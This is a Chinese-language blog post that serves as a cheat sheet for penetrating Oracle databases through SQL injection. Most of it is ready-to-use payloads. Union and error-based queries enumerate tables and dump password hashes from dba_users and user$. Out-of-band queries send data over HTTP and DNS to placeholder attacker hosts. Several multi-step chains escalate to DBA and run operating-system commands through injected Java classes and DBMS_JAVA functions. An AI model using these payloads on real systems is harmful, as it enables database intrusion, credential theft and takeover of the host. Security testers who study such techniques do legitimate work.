Oracle 渗透

youncyb 发布于 2019-08-20 2941 次阅读 数据库安全


1. normal、sysdba、sysoper区别

sysdba数据库管理员权限,至高之拳,登录后使用select * from V_$PWFILE_USERS;可以得到username为sys,权限:

  1. 启动和关闭数据库服务
  2. 备份和恢复数据库
  3. 日志和回话限制
  4. 管理和创建数据库

sysoper数据库操作员,次高于sysdbashow userpublic,权限:

  1. 启动和关闭数据库服务
  2. 备份和恢复数据库
  3. 日志和回话限制

normal普通用户权限

用户切换
以sys用户登录 sys as sysdba

conn user/pass as sysdba //切换用户

2. 基础知识

注释:/**/、--
连接符:||
字符函数

ascii(x) //返回xascii
concat(x,y)  //连接字符串xy
instr(x,y,[start]) //查找xy的位置,不存在返回0
length(x) //返回x的长度
substr(x,start,stop) //截取字符

all_tables:当前权限可见的所有用户表
all_tab_columns:当前权限可见的所有用户列
user_tables:当前用户表
user_tab_columns:当前用户列

条件语句:and 1=(case when express then 1 else 0 end)--

延时函数:DBMS_PIPE.RECEIVE_MESSAGE(str,timeout)

3. 基础信息

注意查询时,若无表名,后面得加dual

select banner from sys.v$version where rownum=1 //查看数据库版本

select utl_inaddr.get_host_address from dual //查看ip

select member from v$logfile //可通过报出来的路径查看系统类型

select sys_context('userenv','current_user') from dual //查看当前用户   

select granted_role from dba_role_priv where grantee='SCOTT' //查看SCOTT用户角色

select instance_name from v$instance //查看sid

select username,password from dba_users //11g及其之后密码为空

select name,password from user$ //获取账户、密码

select count(*) from all_objects where object_name='UTL_HTTP' //判断UTL_HTTP是否存在

union select null,null--或者order by x //查询列数

select garantee,type_name from dba_java_policy where grantee='xxxx' //查看java执行权限

4. 枚举数据库(只能枚举当前数据库)

  1. 获取表名
union select null,null,table_name from user_tables--
####
union select null,null,table_name from (select rownum as limit,table_name from user_tables) where limit=1-- //具体取某一行数据,只需更改limit=x
  1. 获取列名
    注意引号中的字符需要大写
union select null,null,column_name from user_tab_columns where table_name='HUMAN'--
###
union select null,null,column_name from (select rownum as limit,column_name from user_tab_columns where table_name='HUMAN') where limit=1--

5. 报错注入

  1. utl_inaddr.get_host_name
    在11g之前,不需要权限,之后需要网络访问权限
and 1=utl_inaddr.get_host_name((select instance_name from v$instance))--
  1. dbms_xdb_version.checkin
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
  1. dbms_xdb_version.makeversioned
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--
  1. dbms_xdb_version.uncheckout
and (select dbms_xdb_version.uncheck((select user from dual)) from dual) is not null--
  1. dbms_utility.sqlid_to_sqlhash
and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--
  1. ctxsys.drithsx.sn
and 1=ctxsys.drithsx.sn(1,(select user from dual))--

6. 数据带外

  1. UTL_HTTP.request
    http通道
and 1=(UTL_HTTP_request('http://xxxx:1343'||(select banner from v$version where rownum=1)))--
  1. UTL_INADDR.GET_HOST_ADDRESS
    dns通道
and (select utl_inaddr.get_host_address((select user from dual)||'.xiye.xx') from dual) is not null--
  1. SYS.DBMS_LDAP.INIT
    dns通道
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.xiye.xxx') from dual) is not null--

7. os execution&privilege escalate

  1. DBMS_EXPORT_EXTENSION()
  • 版本限制:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
  • 权限:无
  • 详情:public可执行sys的DBMS_EXPORT_EXTENSION(),该函数会执行Grant dba to public,进行提升当前用户权限为dba
  • 有回显
1. 权限提升(高权限可直接跳过)
id=1 and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

2. 创建java
id=1 and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual)--

3. 赋予PUBLIC执行JAVA权限(public已经具有RuntimeProperty的权限,这里是获取File权限)
id=1 and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

4. 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual

5. 赋予publicLinxRunCMD函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

6. 执行
id=1 and (select sys.LinxRunCMD('cmd.exe /c whoami') from dual) is not null--
  1. 获取Java执行权限
  • 版本限制:oracle 11.1.0.7.0及以下
  • 详情:public已经有Runtime权限,由于涉及到文件流,我们还需要获取File权限
  • 注意:更改代码中的用户名SCOTT(大写)
  • 利用3和4执行命令
1. DBMS_JVM_EXP_PERMS 获取File权限

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 
'GRANT','SCOTT','SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
  1. DBMS_JAVA.RUNJAVA
  • 环境限制:11gR1、11gR2(11.2.0.1.0找不到oracle/aurora/util/Wrapper)
  • 权限:Java执行权限
  • 无回显
web环境中用双\\
id=1 and (SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST') FROM DUAL) is not null --
  1. DBMS_JAVA_TEST.FUNCALL
  • 环境限制:10g R2, 11g R1, 11g R2
  • 权限:java执行权限
  • 无回显
普通用户
######################################################
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

Linux
#########

SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/a.txt') FROM DUAL;
windows
##########
id=1 and (Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c','dir>c:\\OUT2.LST') FROM DUAL) is not null-
  1. dbms_xmlquery.newcontext()
  • 有回显
  • 环境限制:无
  • 权限:dba权限
  • 查看权限:select granted_role from dba_role_priv where grantee='SCOTT'
1. 创建java
id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual) is not null--

2. 创建函数
id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual) is not null--;

3. 判断是否创建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
3. 执行命令
id=1 and (select LinxRunCMD('whoami') from dual) is not null--

8. 参考

Oracle注入 - 命令执行&Shell反弹
Hacking Oracle from the Web
渗透oracle11g上
渗透oracle11g下